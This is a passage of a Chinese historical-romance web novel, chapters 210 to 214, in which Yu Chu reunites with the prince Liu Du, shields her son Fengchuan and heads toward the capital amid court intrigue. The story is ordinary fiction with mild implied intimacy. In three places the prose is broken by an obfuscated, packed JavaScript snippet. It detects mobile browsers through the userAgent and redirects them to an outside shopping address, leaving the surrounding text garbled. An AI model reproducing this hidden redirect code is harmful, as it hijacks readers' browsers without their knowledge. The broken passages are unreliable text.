虞初刚刚还弯着的眼睛渐渐恢复平常:“以前的事情说来话长,娘亲不是一直跟你说娘亲有自己的故乡,刘叔叔和万叔叔都是娘亲在那里的朋友和亲人。” “哦,是娘亲不想想起来的那个地方吗?” 万尘安看了一眼虞初,尽管心里有许多话想要帮刘渡解释,可是他突然好像找不到开口的契机,最后只是附和虞初的话点了点头。 “问那么多,快叫万叔叔。” “万叔叔好。”刚刚还警惕的看着万尘安,现在风川脸上又洋溢着有好的笑意。万尘安看着心里也莫名的欢喜起来。 “刘渡做什么去了?”虞初一脸疑惑的看着万尘安,见他无从回答,又想起刚刚跟风川的话突然明白了什么。她嘴角上扬憋笑,本来还一脸严肃的万尘安立马看出了端倪,又转身蹲下拉着风川的小手问道:“风川,万叔叔还没见过你父亲,你父亲在哪里?” “娘亲说我父亲在很远很远的地方,风川也从未见过。”风川一脸失落,倒是旁边的万尘安暗自乐呵起来。 “我早该想到的,那……算了,当局者迷,怕是又去闷烦喝酒去了,不管他了。倒是虞初你,这些年真是辛苦你了。” “这算什么,倒是因为他,我挺过了一关又一关。”说着虞初又将风川搂入怀里,眼睛逐渐湿润的模糊了起来。 210. 第 210 章 河边湿缇,青郁垂柳。顾不上浸水的鞋袜,刘渡坐在河边的一个石头上不停的往嘴里倒着酒。酒瓶倾斜的太过,里面的酒水直接就往刘渡的脸上扑了上去,来不及吞咽,多余的酒水直接被衣领吸干。周而复始,后来不只是领口,整张胸前的衣裳都裹着一层酒气。 刘渡喝着闷酒,几度转头回去往来时的路上看去,依旧是空荡荡的。就这样一来二去,整个人的情绪就变得更加烦躁起来。倒着手里空空的酒瓶,见里面实在是倒不出什么,索性直接将酒瓶扔到了水里来发泄自己的不满。 他吹着风看着刚刚被他漾起一滩波浪的河面逐渐恢复平静,突然,他将手捂在额头上将脸埋了进去苦笑了起来。不知过了多久,夜已过半他才独自回去房间,一路上没有跟人说过一句话。谁打招呼,看不见。谁喊他也听不见。整个人像个行尸走肉一般,那张心如死灰的脸,相较那些,好像还更要难看一些。 虞初躺在风川身边久未能寐,好几次她想过去刘渡房间里说清楚,可是想到这些年自己遭受的那些又多少有些心中不甘,不想就这么让他安生。再者就是,她其实也想看看,这么久,那个人到底还是不是当初的那个人。原本回去的路,到底还通不通。她不想去怀疑什么,可是她就是想更加确定,好让自己安心的去放下过去。 翌日,万尘安先是抱着风川将他送进了马车,虞初看着骑着马走在最前面的刘渡,还是依旧没说一言,随后跟着也上了马车。 刘荇早早就坐在马车里面,看见虞初上来,一手还在给风川举着糕点,头就不自主的往虞初方向看去。 “三哥哥好像情绪很不佳……” 虞初嘲笑的看着刘荇,伸手揉了揉她肿的跟桃子般的眼睛说道:“你先别管别人,你瞧瞧你昨晚上在我屋里哭的那个样子,风川都吓得不敢说话了。” “我这不是太想你了吗,你这还嘲笑起我来了。”刘荇满脸不好意思的又转过去给风川喂着糕点,一副不想理虞初的样子。 “我是发现了,如今万尘安在哪里,你就在哪里。不过也好,在他身边总比你一个人来的好一些。” “折腾了这么久总算站在他身边,我不跟着他跟着谁。”刘荇像以前她们刚成为好友时一样笑着,只是眼中比之前多了几分稳重和柔和。 “这孩子难道是长得跟他父亲相似,怎么一点都不像你啊虞初。”刘荇笨拙的故意说起这个话题,可能是憋在心里许久了,从虞初上车的那一瞬间就已经几次三番话到嘴边又噎了回去。 “嗯,确实不像我。”虞初看着风川些许感慨了起来,“风川长得好看,却不如娘亲的一半。” “娘亲,哼!” 风川也不乐意了,连刘荇手上的糕点都不愿意继续吃了。 虞初看着风川气呼呼的撅着小嘴,指着刘荇手里的糕点佯装催促起来:“小姑快把手里的糕点给我吃些,我说了这么久的话都饿了。正好我们风川也不吃了,是不是。” “那小姑你把糕点给我娘亲吃吧,她饿了。”风川虽然还在生气,却小心的推着刘荇的手,生怕一用力糕点就会不小心掉到地上一样。 “真给?” “娘亲想吃就真给。” “那小姑呢?” “不给!” 刘荇一脸不乐意的朝着风川冷哼了一声:“不给就不给!”刘荇刚装生气不到一分钟,突然就反应过来想起了什么,连忙坐到虞初的身旁一脸激动的压抑着声音询问道,“你刚刚让风川叫小姑……” “嗯,小姑!” 刘荇两手紧握着虞初的手腕,激动的眼角的泪珠就要夺眶而出。 “真是小姑,虞初?” “真是!”虞初故意挑拨离间道,“万尘安昨日回去没跟你说什么吗?” “你是说他早就知道了吗?”刘荇气呼呼的两手交叉在胸前,“回来后就说你是为了去接孩子的,至于……他只字未提!” 也顾不上再多责怪,刘荇走到风川旁边拉着他是又抱又亲,热情的让风川有些措手不及。 “小姑,你怎么不讲卫生……” 尽管风川在热情中极力挣扎,依旧还是没能逃过刘荇狂热的怀抱。 许久过后,刘荇才幸灾乐祸的掀开帘子看着刘渡落寞的背影窃笑道:“三哥哥早上起来衣裳还是昨日的,他以往的衣服第二日是必定要换下来的,哪有重复过。你瞧瞧,那铺在马肚旁的衣摆,还沾着泥土呢。怕是万尘安不光是没有跟我说,就是三哥哥他也没说,一视同仁,本公主就原谅他了。” “想要不计较也不用费这么一大圈力气去找理由。” “虞初,你也要理解,三哥哥毕竟是个男人,遇到这样的事情,接受不了也无可厚非。但是我也不是说你不对,若真是,那也定是逼不得已的。你看我刚刚不知道,不也是接受理解你的。” “荇儿,你自然不必多说,你就是不理解我,要来责问我,我也觉得是理所应当。毕竟他是你三哥哥,是你们皇家子嗣,血统这一关就是他不介意,旁人也不欣然接受的。”虞初看着刘渡的背影,神情越发的落寞,或许他是真的接受不了,从昨日道现在,一句话都没有跟她说过。甚至,虞初总觉得这跟冷暴力有什么区别。越想心中越不开心,甚至后来想了许多之后,自己倒先开始有些芥蒂起来。 虞初拉起车帘假装无事的继续跟刘荇说一些风川小时候的趣事,刘荇和风川都听得津津有味。就是风川本人,也好几次被自己的蠢萌行为给逗得哈哈大笑。外面的人听见里面的人开心笑着,也跟着一起扬起了嘴角。除了那个孤单单的背影,一直冷着脸看路,仿佛什么都听不见一样。 夜晚将至,一行人终于在一个驿站停了脚步。 万尘安和肖成去打点好驿站房间后,虞初抱着风川就带着青草影儿上了楼。刘渡见她不说话,也转头就回了房间。万尘安看着刘荇不禁窃笑了一声:“都看了一天的好戏了……” “那你怎么不去告诉三哥哥实情?” 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影儿满脸委屈道:“夫人给的药膏我都按时涂过了,不知为何还会这样。” 虞初看着影儿急红的脸蛋想起刚刚自己言语太过责备,又跟影儿仔细的说明起来。 “这不怪你,是我将膏药改了配方。之前的膏药药效太猛,我想着风川日渐长大,抵抗力应该相较之前也会好上许多,就不必用之前那样功效的膏药了,毕竟是药三分毒,就减去许多药材。如今看来是我太心急,减的多了些。” “那风川……” “无碍,我等会给他去熬点药先缓解一下症状,明日我来重新熬制新的膏药就是。” 影儿点头,接过青草打过来的一盆温水,用一个干净的帕子仔细的清洗着风川的身子。 虞初转身过去从行囊里面拿出来一些随身携带的草药,全程忽略一直站在旁边的刘渡,直接就下楼去找掌柜借了熬药的工具,然后到外面熬药去了。 刘渡依旧跟在虞初身后,见她手上拿不开,想要上前去帮忙,无奈虞初直接无视他,只当身边没人一样,自己连拿带夹的搬了两三次这才弄好。 “这孩子这是什么毛病?” “多谢王爷关心,我们不过就是体弱易敏而已,暂时还称不上什么毛病。” “我看你身体挺好,从不会这样。” 虞初皱眉,刚要深思此话何意,刘渡又接着假装无意的吐槽了一句。 “他父亲身体估计也不怎么样。” 刘渡轻飘飘的一句话让虞初木楞的站在那边,连药都忘记接着倒了,后来还是刘渡接过去继续往里面放的。 “他父亲身体好的很。看起来比你还要健壮一些……” 清寡的脸上再次结冰,刘渡眼眸下放过半。动作停止半空许久,像是在积极控制压制些什么。 “你确定……” 余音未了,虞初就被一个有力的手臂扣住了腰身。 211. 第 211 章 “你做什么?”虞初手上还抓着没来得及放进药壶的药草,被刘渡拉转过身时好多药草都撒到了地上。 刘渡死死的抓住她的手就是不肯松开:“上次是我不对,我不该把你一个人放在北凉。过去的事情我可以当什么都没有发生,至于风川,我也可以对外宣称是我的,只要你跟我回去。” 刘渡一口气说完了想说的话,生怕被人打断后自己就说不下去了。或者说,他怕自己会反悔上面的每一个决定。 “当成你自己的?”虞初本来被他手拉的生疼,心里有些恼了。可是看着刘渡一脸真诚的说出了这样决定的话,瞬间又柔软了许多。 “嗯,我可以做到,你信我。只要我跟你说过的话,我都会努力做到的。”刘渡的手依旧紧紧抓着虞初的手腕,在得到她的答案之前,他都不敢放手。 虞初挣扎了一会,见他实在不肯松手也就任由他去了。她正对着刘渡站着,一直两眼盯着他看。她试图从他眼里找出一丝不甘心,结果是她失败了,她确实没能够捕捉到他眼中的不坚定。 “你没有什么想问的吗?”虞初将手里剩下的草药递给了刘渡,示意他将这些倒进去一起煮了。刘渡当然照做,然后看着地上的那些有些犹豫道:“地上掉了这么多,是不是计量就不对了。” “那还要问,你等着,我进去在取一些。还好就只有一种草药。”虞初缩了缩手腕,刘渡也不好再抓着不放,只好松开手让虞初先离开。他知道,风川的药虞初是不可能放任不管的,反正就在这里,她迟早会回来的。 果然没一会虞初就拿着草药又过来了,见刘渡正背着身子专心的帮她搅动着,站在他身后看了好一会才说话。 “这些药熬制时间要好一会,你要不要先回去。”虞初接过刘渡手上的搅棒,让他往旁边挪了挪身子,自己亲自上去熬药。 “我其实……” 虞初见刘渡吞吞吐吐,停下手里的动作转身过去盯着刘渡苦笑道:“王爷是不是后悔刚刚说过的话,若是如此,我可以当做什么都没有听见就是。” “不是不是……”刘渡急忙扭头解释,“我只是想问你,你带着风川跑出来,是不是因为听说我遭了难,特意出来寻我的?” “不然呢,我也不可能把风川一个人丢在北凉。” 刘渡抿着嘴笑,不知道他到底在笑什么,虞初伸手捏了捏刘渡的手背一脸疑惑道:“你笑什么?” “我这两日一直不确定,到底在你心里,我比较重要,还是王世秦。现在我确定了,你心里一直是有我的。” 虞初听了刘渡的话一瞬间觉得眼前这个男人,又心酸又好笑。原来这两日他一直闷声不吭,是在想这么个问题。既然如此,虞初也顺势追问逗着刘渡继续说道:“王世秦确实很好……” 刚起明媚的笑脸瞬间正经起来:“他也算不上正人君子,枉我一直这么信任他。” “你为何会信任一个敌国世子?” 刘渡听见虞初主动提到王世秦明显满脸不悦。 “我当初被宣进宫前跟他聊过一次。万尘安虽可靠,可是大家不肯放过我又怎会放过他。剩下的就是刘荇了,可她毕竟是一个姑娘,行动诸多受阻。至于师傅……”刘渡说道此处脸上的表情莫名变得愧疚起来,“初儿,原谅我不想让师傅过早牵扯进来,我……” “你要做的事情还有很多,你不能让别人知道你早就和万秦联手了,是吗?” “我……”刘渡不再继续这个话题,“所以那次,王世秦主动来找我的时候我没有拒绝,他跟我谈了条件。” “什么条件?” “关于王世明和陈云的而那些事情。” “那他答应你什么?” “我没有跟他说什么条件,但是后来我知道是他将你带走了,我不知为何,觉得你是安全的。当然,我后来一直让肖浅待在北凉,也好让我放心一些。先前因为一些事情,我跟他打过几次交道,误以为他算是个正人君子。至少我觉得我们二人在有些方面的想法是一致的。”刘渡苦笑,带着些自责。 “都过去了。” 虞初抬眼看着刘渡,这句话听得她好气又好笑。这些年的种种因果,岂是可以一句话带过的。她心里明白,他在劝自己过去了。他也在告诉她,他的决心。刘渡刚拉住虞初的手还欲再说些什么,身后就传来了一声奶呼呼的童稚幼声。 “娘亲,风川太痒了,娘亲的药有没有熬好呢?”说着风川就往虞初这边过来。影儿在后来追拦着,可是风川刚醒过来,他想要看见娘亲,任谁劝阻他都执意药过来找娘亲。 刘渡不知为何,在看见风川的那一刻突然心虚起来,慌张的赶紧松掉了虞初的手。虞初见风川往这边过来连忙上前将他抱了过来,然后站在炉子旁边守着药壶。影儿见状也只好先行离开,进去里屋去了。 “娘亲,这药是刚下去的啊,看样子还要好久了。” 刘渡见虞初毫不费力的一手抱着风川,一手掀开盖子给他看了看,然后又小心的盖起来。 “风川现在的鼻子越来越灵敏了,娘亲刚放进去的药你都闻得出来。”虞初的手指在风川的鼻梁上浅浅划过,看着他嘴角一直没有合拢过。 风川依偎在虞初的怀里,然后眼神蔑视的看着刘渡。刘渡对上风川的眼神,也想上去跟他说话,可风川毫不留情的高傲的转过头去哼哼道:“你是谁,刚才为何牵我娘亲的手,一看就不是什么好人!” 虞初憋笑,只当没听见,任由风川给刘渡难堪。 刘渡从未跟孩子相处过,突然被一个孩子如此讨厌,一时间不知该如何应付,只好尬笑点头。 “风川,你这药还是你三叔叔给你熬的呢,你说话岂可如此无礼?” “他是我哪里的三叔叔,我只有一个叔叔,秦叔叔。我才不要什么三叔叔,哼,讨厌。” 刘渡微微张口,舌尖顶着后槽牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊……”虞初下意识的喊叫了一声,又碍于怀里吓了一跳的风川,立刻忍着安静下来了。 虞初一手抱着风川,只能腾出一只手推开了刘渡捂住自己耳朵。她看了看风川,压着声音怒呼呼道:“你疯了,风川还在这,咬我做什么!” “没什么,只是觉得你很可爱,忍不住!” “你……” 刘渡看着虞初慌乱无措的样子满意的点了点头:“那我先回去了。” 还不等虞初反应过来,刘渡已经从她怀里将风川抱走了。风川自然是不依的,口中哭声嚎叫,两脚不停的在空中扑腾道:“娘亲救我,我不要这个人抱……” 虞初伸手想要将风川抱回去,可是下一刻刘渡不知在风川耳边说了什么,风川立马安静下来了,并且主动看着虞初说道:“娘亲熬药吧,我先跟这个三叔叔回房间了。” 话刚说完,刘渡就抱着风川离开了,只剩虞初一个人站在药罐旁边一脸茫然。 里屋的人看见刘渡抱着风川相安无事的回去,个个虽面面相觑但也不多说什么,都只是继续做着自己手中的事情。虞初自然是习惯了这样的景象,刘渡手下的人一向是不关己事不参与,特别是主子的事情。 药罐里面的药味越来越浓郁,细烟在虞初腰旁扭扭捏捏缓缓升起,直到药罐壶盖不肯安分的乱跳了起来,虞初才恍然过来,打开药壶继续搅动着汤药。 212. 第 212 章 “半夜三更的你做什么?”虞初迷迷糊糊的看着房门被一个穿着白衣的人打开了。她虽睡眼蒙眬,可那白衣身影好像早就刻在自己心里了,只是迷糊一眼就能断定那个人就是刘渡。再说,有他在的情况下,还能不动声色的进来屋里,除了他本人堂而皇之的监守自盗,还会有谁。 刘渡皱眉嘘道:“小家伙好不容易才睡着,你声音小点,别又把他吵醒了,我又得回去。” 虞初不以为意道:“放心吧,风川只要睡着了,就是打雷他也不会轻易醒过来的。” 刘渡哼笑着盯着虞初:“当真打雷都不会醒过来?” 虞初立马懊悔自己的话,听起来好像是自己特意给刘渡的一些暗示。可是懊悔又有什么用,那个听进耳里的人早就往自己这边过来了,毫不客气的,没有半点生怯。 倒是虞初,两手还没来得及抵住那人,就已经说不了话了。 自从重新见到虞初的那日起,刘渡已经在极力克制自己的欲望。他不知道她现在到底还爱不爱他,或者说,他害怕她爱的人已经不是他。风川晚上的那句“秦叔叔”给了他前所未有的信心,彻底燃起了刘渡心底的欲望。早在晚上哄风川睡觉的时候他就已经心不在焉了。一晚上一直重复着:“乖乖快把眼睛闭上睡觉,快点睡觉……” “刘……渡……”好不容易虞初喘了口气,不过也就只够她说了两个字就又闭了嘴。 门口青草听见里面动静有些大,自觉的拉着影儿一起下了楼,二人都不好意思说话,就当什么都没发生一样。 不知过了多久,虞初瘫软着身子躺在床上,看着刘渡神色慌张的穿着衣服。 “你不是说打雷都不会醒的吗,早知道我动静小一些了。” “我也没说一定不会醒。” 后来听见哭声越来越大,刘渡直接没来得及穿好衣裳,拿着最外面的外衣直往自己的房间飞跑了过去。 “我要娘亲……风川要娘亲……呜呜……” 隐隐约约虞初听见刘渡的声音,应该是跑的太急,房门都没来得及关的原因。 “乖,今晚风川不是说好在三叔这边睡觉的吗,乖,我们继续睡觉……” 不知刘渡用了什么法子,很快风川就停止了哭声安静下来。虞初也顾不上不理会那边,自己累的先睡着了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049345|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >翌日醒来,风川趴在床边瞪着两只大大的眼睛看着自己。虞初伸手摸了摸风川的脸蛋,又扫视了周围一圈,只有影儿在旁边收拾着自己马上要穿的衣裳和梳洗用品。 “娘亲找什么呢?” 虞初见自己的意图被风川轻易看穿,假装伸了个懒腰不在意道:“没找什么,风川怎么今日起来这么早?” “三叔叔说以后我每日都要跟他一起去晨练,不可以偷懒。三叔叔说我爹以前很早很早就起来了,那时候天都没亮呢,厉害吧!” 虞初看着风川开心的讲着自己为数不多知道的父亲的秘密。终于明白为何昨日本来还那样抗拒刘渡的他,怎么就突然听话了。 “娘亲,三叔叔说……”风川想问又好像有些难为情,“他说娘亲你是他夫人,那他是不是就是我爹啊?” “啊?” “他知道我爹那么多事,是不是其实他就是我爹?” 这话问的虞初一时不知如何作答,好像回“是”也不对,“不是”也不对。他们是要回京的,风川知道的越少越有利。用她和刘渡儿子的身份进京好像更安全一些。想了一圈,最后只好点点头默认。 213. 第 213 章 甜汤 下晚日落时分,刘渡敲响了虞初的房门。青草和影儿都在整理包裹,只有虞初得空去开门。 “初儿,东西都收拾好了吗?” “差不多了,为何突然要启程回京。不是说京城守卫严格,周边都是陈云的人,我们不能贸然过去吗?” “希白从宫里传来密信,陈云这两日已经有动静了,我们等不了了,只能见机行事,先想办法进京。” “那刘渝……” 刘渡沉默,虞初看着刘渡欲言又止的模样瞬间懂了些什么。 “你其实……在等陈云动手?” 刘渡抬眼见,眼神忽然就变得凌厉起来:“我等着一天,太久了……”刘渡看着蹲在地上的风川,“有些东西,就算不属于我,那也不可能是他刘渝的,更不可能是陈云那个奸佞。” 虞初听后无言,伸手握住了刘渡的手。她知道,刘渡所谓“等得太久”,其实是怪自己推进的太慢。陈云和刘渝这些年的矛盾,刘渡岂会袖手旁观。更甚至有些隔阂,就是人为制造的。他不用多说她也明白。她不知道这些年,最不屑与群臣有交集的刘渡是如何运筹布局的。若是想要朝堂里的那些审时度势之辈站在自己的阵营,那不仅要有凌厉手段,更需要洞察人性收买人心。加上陈云和刘渝的阻挠为难,这些年,真不知道刘渡是怎么熬过来的。 “我问你,你可以不回答。” “嗯?” “先帝在时,万大司马……” “我的人!” “那……” “裘准,李印都是!”刘渡坦然的望着虞初,嘴角宠溺的笑着,“还想知道什么?” “那……陈羽轻?” 终于说到主题了,刘渡不假思索回答:“她于我,无关!”刘渡说完好像又觉得不是很准确,于是补充道,“确实,这些年她明里暗里帮我不少,不过我都用别的方式还过了。” “别的方式?” “那些就不重要了,反正算是回报过了。还是说,你想问我,这些年对她的那些帮助会不会有过一丝感激。那我现在可以明确的告诉你,没有。因为没有她,我也不会失去许多重要的东西。有些恩情,不过是给你一个巴掌在许你一些甜枣罢了。若是我一开始就没有受过那记巴掌,又何须甜枣。大哥的事情,你的事情,我这边是不可能过去的。” “嗯。” 刘渡低头看向虞初,他的手轻轻的拖着虞初的下巴挑逗笑道:“你嗯什么?” 本来挺正经的一句话,怎么到了刘渡嘴里就变得暧昧非常了呢。虞初通红着脸用手移开刘渡的手故作生气道:“说话就说话,怎么动手动脚的,这还有人呢。” “我看你早上不穿衣服往外跑的时候怎么不觉得不好意思了。” “说完没,说完我还有点东西收拾一下,你先下去等我。” 刘渡不知道她是因为上午误会自己屋里有人不好意思,还是因为自己刚刚的行为害羞,反正他没有继续为难虞初,只是若有所思的笑了两声就先下楼了。 虞初见刘渡离开后立马转身关门。她看着青草的那些行李,沉默片刻问道:“这两日让你们去置办的草药都准备好了吗?” “夫人,草药是买好了,可是这么多,怎么带走?” 虞初看着青草背过来的那些草药,思索一会叹气道:“若是再多待上半日,这些就能熬制成膏药,方便携带了。” 影儿捧着手上的一个木匣子笑道:“我和青草昨晚上就已经连夜熬制了许多了,不过还是不够夫人你说的那些用量。” “这样,你们先将这些东西放到马车上去。至于别的,我们路上再想办法。还有,这个瓶子里面装的是风川用的,影儿你收好了,别弄混了。” “夫人放心,这个我随身带着就是。” 虞初回去又将房间巡视了一遍,见确实没有遗落的东西,就让影儿抱着风川,带着她们一起下楼去了。 连夜赶路两日,除了满脸兴奋的风川,大家都是一脸倦意。 因为怕打草惊蛇,刘渡只用了一辆马车。刘荇和虞初还有抱着风川的影儿坐在马车里面,青草会些武艺,跟着极风娘子她们一起混在男子队伍里面骑马。 刘渡没有带多少人手,只有万尘安和七八个暗卫。肖成则带着一路队伍从另一条路先过去京城。 “虞初,前两年……” “怎么吞吞吐吐的,不像你的风格啊。” “前两年我……” 虞初见刘荇吞吐半日未讲,一副很扫兴致的转过头去假装不再期待刘荇的话。刘荇以为虞初因为自己有所隐瞒这才如此,立马摇了摇她的手腕说道:“我说就是。” 虞初一脸认真的看着刘荇,她知道,刘荇都难以开口的事情,一定不是难做,就是难为情。难做的事情,难为情的事情,应该都是跟万尘安有些联系的。 “我……” 影儿抱着风川往旁边坐了坐,然后拿出一根绳子哄着风川玩解绳子的游戏。刘荇看他们玩的很开心,又小声的跟虞初说道:“前年春赏,皇后,就是封丝棋留我在宫里住了几日。然后太医告诉我,我一直怀不上的原因,是因为我一直在吃一种药……” “吃药?”虞初一脸不解的盯着刘荇,“以前万尘安没跟你在一起的时候,你不是一直想要跟他成婚,要跟他生很多孩子,怎么改主意了?” “不是的。”刘荇连忙解释,可是好像又有些不想说出口,“那药是万尘安给我安排的,隔三差五他都会给我送来一碗甜汤。我原先是不知道的,是那日在封丝棋那边,我让太医帮我诊诊脉才发现的。后来回去后,我也没有敢问万尘安,我怕是我误会他了,我更怕……” 还不等刘荇说完,虞初伸手抓住了刘荇的手腕,仔细的替她把着脉。过了一会,虞初若有所思的看着刘荇,但她没有说别的,只是问刘荇有没有跟万尘安提这件事情。 “没有,我不敢提。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085070|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我怕他说的话我接受不了。”刘荇看着风川,眼角微微湿润,“我想过很多次,我和尘安也会有自己的孩子,像风川一样可爱的孩子。或者是个姑娘,想必也会像万尘安一样好看。” 虞初伸手握住了刘荇的手,一直没有说话。 “你通医术,我还……” “当时那个太医是不是告诉你,若是停了甜汤就不会妨碍你生育。可你说两年前你就发现了,但是你还是一直喝着甜汤。” “我其实一直知道,他心里还有旁人。但是我也知道,他不会害我。他或许只是不想要孩子。”刘荇苦笑,“虞初,你是不是觉得我很卑微?” “不会,你喜欢他,不卑微。我见过你说放手就放手的洒脱,不会觉得你是因为想跟他在一起才一而再再而三的打破自己的底线。你的让步也只限在你们情感之间。大是大非面前,我从未见你退过一步。刘荇,有句话,我不知该不该跟你讲。”虞初的手依旧搭在刘荇的脉搏上,她低头看了看手,又看向了刘荇。 “虞初,你有什么话直说就是了。”尽管多年未见,刘荇依旧是无条件的信任虞初。 “我刚刚摸过你的脉搏,强劲有力,并非似皇后宫中太医说的那样。我想那甜汤,也不是避孕之药。若是避孕之用,你刚刚说你一直没有断过,体质应是极寒了。可你现在身体很好,顶多有些躁动之症,别无其它。” “你是说,万尘安给我和喝的甜汤并不是避孕汤?”刘荇嘴角抑制不住的上扬,这句话她只注意到了后半部分,比她听到自己身子不错还要开心。 虞初跟着她也开心的笑着,一边用手拍着刘荇的手背,一边小声重复着那句“你身子好着呢。” “你说我若是早些跟你说这些,也不至于多难过几日。万尘安现在对我很好,之前每每他对我体贴入微之时,我总是会想起那碗甜汤的事情,就是开心也开心的不够安生。” “现在你就放心好了,就你这身子,三年抱两应该是不在话下。你说你们在一起也这么久了,怎么还没有动静,不应该啊,会不会万尘安……” 虞初刚说到这就被刘荇用手捂住了嘴:“他好着呢!” “好就好,毕竟好不好也只有你知道。”说完虞初窃笑,完全不顾刘荇会不会难为情,先笑为快。 “初儿,刘荇,下来歇会,到京城脚下了,再往前面数百里就是东城门了。” 虞初走出马车,这次歇脚的不是平平无奇的驿站,而是一座装饰华丽的酒楼。她看了看极风娘子,起手恭贺道:“想必这也是极风娘子的家业吧。” 极风娘子会心一笑:“哪里,是王妃你家的家业,只不过一直交由我和肖成打理。这些年我在北凉的多,这酒楼的大小事都是肖成搭理的。” 虞初明白的点点头,如今她已经不会再惊讶于刘渡零碎的置业了。这一路,涉及的产业太多,她都已经习惯了。只是没想到刘渡这些年竟然悄无声息的做了这么多事情。 214. 第 214 章 会见 刘渡跟虞初说是先停下歇歇,但其实刚入住酒楼,他和万尘安便不见了踪影。虞初也不管他,知道他自有他的事情要做。而她,和极风娘子一起将剩下的人好生安顿后,又连忙和青草一起找了个合适的地方熬药去了。 “虞初,你这刚刚给我的是什么药?”极风娘子看着虞初手上还在不停的熬制,给她的时候又特意嘱咐她带在身边。 “这些是重伤吊命的药,我也跟万尘安和刘渡说过,这药只能吊命,不能救命。若是有人伤的比较重,还是要及早找到医者医治。我……我也不一定能一直在你们周围……” 极风娘子看出了虞初的担忧,确实,不想让她活在这世上的可不只有陈羽轻一人。 “你之前刚给我们熬制了疏肿解痛的药膏,这又来了个续命的药水,你可真是个小宝藏,这些年你都吃了多少苦,才学了这些个本事!”极风娘子说着小心的将药收了起来,“若是要人帮忙,尽管告诉我。” “不用,这药下的顺序有些说法,青草一人在就够了,人多了反而误事。” 极风娘子也不客气,后面随便说了两句就自己先做自己的事情去了。 极风娘子走远后,青草还是忍不住劝阻虞初起来。 “夫人,你确定你等会要去见她吗?”青草满脸愁容的看着虞初,她一手搅动这药一手拉着虞初的衣袖,一脸不情愿的样子看着虞初。 “无碍,到时候你跟着我,我们小心一些就是。有你在我还是放心的。” “可是……” “没有可是,青草,听话。” “嗯。”青草虽然没有再作规劝,可脸上的愁容依旧,不退反增。 翌日,虞初起来时,刘渡就已经不在房间了。虞初也不奇怪,就连昨晚上回来的时候也已经是很晚了。她睡的迷糊,但她知道刘渡回来过,他靠近她的温度她是记得的。只是一觉醒来又是一人,好像这个房间从昨晚到现在,始终就只有她一个人。 虞初早上教风川读了会书,跟影儿交代了一番就带着青草离开了酒楼。 在离开酒楼之前,虞初将手里的一个腰牌留给了影儿。影儿接过只是大惊,这么多年她也算是见过大风大浪的人了,心里再多惊讶,也很快就平静的跟没见过什么一样继续跟风川玩耍去了。 到城门时,青草一身紧绷。倒是虞初轻松应对,很容易便过了门口侍卫的检查。 “夫人,怎么会这么轻松就过来了。这陈云设计这么多的关卡怎么一点作用未起?” 虞初拍了拍青草终于放松下来的肩膀笑道:“你瞧瞧你刚刚那副模样,好像下一秒就要拔刀相见似的。放轻松,陈云这个关卡是卡王爷他们的,不是我这个‘已死之人’的。” 青草听后恍然大悟道:“难怪,刚刚那个侍卫让夫人摘面纱时,夫人直接就摘了。我怎么没想到这点,在他们心里,夫人早就不在这个世上了。” 虞初笑道:“我若是有迟疑,反倒是会让那些侍卫起疑。再加上我们还有李四海的腰牌,扮作她的家眷进来自然是没什么阻碍的。”虞初看着手里李四海的腰牌满意的点点头,“这老家伙还算是有点作用的,幸好王爷封锁了那边的信息,李四海的事情估计没这么快能传入京城,我们大可以用他的腰牌再耀武扬威几日。” 很快,他们便找到了之前跟那人约定好的地方。虞初感叹物是人非之余,推门进去,果然里面一个带着黑帽斗篷的人正站在里面,听见动静后才慢慢转过身来。 “你很准时。” “这么多年你好像也没怎么变……” 青草和那人身边的都识趣的退下,只留他们二人在屋里说话。最后还是那人的贴身之人催促,才又带上黑帽斗篷离开。 在她走后,虞初没有立马离开,只是一个人满脸心事的坐在里面沉思了一会。 青草本不想打扰她,可眼见天色渐渐暗下来,她还是去敲了门提醒虞初该回去了。 虞初自然没有耽搁,起身就带上面纱跟着青草回去了。回去的这一路依旧是轻松的,回到酒楼时虞初只当是出去闲逛了一圈,跟风川说了会话,就又独自回房待着了。众人都没有发觉虞初的异常,唯独青草都看在眼里,因为从那边回来后,虞初就一直魂不舍守。 这晚,刘渡回来的依旧很晚。或是虞初正好有心事,也没睡着。见刘渡回来后就从床上爬了起来:“外面起风了,怎么不多穿些,肖成毕竟习武之人,没有希白细心,连个衣裳都不给你一并带上。” “他倒是给我带了披风,只不过进来屋里前刚脱了。外面风大,灰尘也大,从外面回来多少会沾点灰,不想带进屋里。” “过来抱抱。”虞初撒娇的摊开双手卧坐在床上,刘渡本来还想坐一会再去睡觉。见到虞初忽然撒娇,怎么还坐的住,立马脱了外衣将虞初抱在怀里一并钻到了被窝里去。 “这两日风川总说要等你回来跟你一起睡的。这左等右等也不见你踪影,我就让他跟影儿一起睡去了。他睡觉不老实,你这两日要忙的很多,晚上我怕他打扰你休息。” “嗯……”刘渡低眉看向窝在他怀里的虞初若有所思道,“风川睡觉确实不老实,但还不至于影响我睡觉。倒是你,才真的是那个影响我休息的……” 话刚睡完,刘渡也顾不上累不累的,直接手上就忙了起来。 